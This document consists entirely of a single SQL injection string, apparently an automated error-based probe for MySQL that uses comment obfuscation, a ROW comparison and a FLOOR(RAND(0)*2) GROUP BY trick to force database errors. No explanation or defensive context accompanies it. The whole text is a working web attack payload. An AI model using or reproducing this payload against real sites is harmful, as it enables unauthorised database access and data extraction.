1AND/**/ROW(1249,3538)>(SELECT/**/COUNT(*),CONCAT(‘~’,(SELECT/**/(ELT(1249=1249,1))),’~’,FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/6372/**/UNION/**/SELECT/**/9280/**/UNION/**/SELECT/**/4586/**/UNION/**/SELECT/**/9715)a/**/GROUP/**/BY/**/x) 1